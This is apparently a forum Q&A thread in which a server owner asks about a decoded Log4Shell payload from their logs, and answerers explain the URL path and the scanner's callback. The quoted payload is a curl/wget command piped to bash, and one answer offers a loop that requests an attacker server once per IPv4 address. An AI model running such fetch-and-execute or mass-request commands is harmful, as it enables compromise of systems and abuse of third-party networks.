I was looking through my server logs after the recent log4j issues and saw an interesting command which was base64 encoded (decoded version is below):

(curl -s||wget -q -O-|bash

I was intrigued, since I’d not see a curl command to a host with a / in the server name/ip. What does this mean? I wondered if it were some way of spoofing the source IP which made no sense. Maybe a subnet setting (also makes no sense to me)?

  • 2
    Do you recognise your IP address after the /. This command typically access the server with the port 7854 and send it the file name (or parameter) which seems to indicate where you are. (I don’t see other reason for sending such a parameter). A scanning robot scan many hosts, then this information is useful to get back at Commented Dec 14, 2021 at 18:36
  • Doh, yeah! That’s actually the IP of my server.
    – Egwor
    Commented Dec 14, 2021 at 18:48

2 Answers 2


It doesn’t mean anything unusual: the slash separates the host and port from the path.


will connect to port 5874 on and request the resource identified by / using

GET / HTTP/1.1

You set something like this up yourself by hosting a file named on a web server. What the server actually does with the path depends on what the server’s owner has set up.


You are seeing the Log4Shell vuln out in the wild. Like the others said above, it is alerting the source that they found an exploitable node. The one you've linked in particular is a russian node, the same one that showed up in my logs - I started replying to the same server trying to obscure anything they might find.

for firstoctet in {0..255}; do
  for ip in ${firstoctet}.{0..255}.{0..255}.{0..255}; do 
    curl -s${ip}:80 


You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .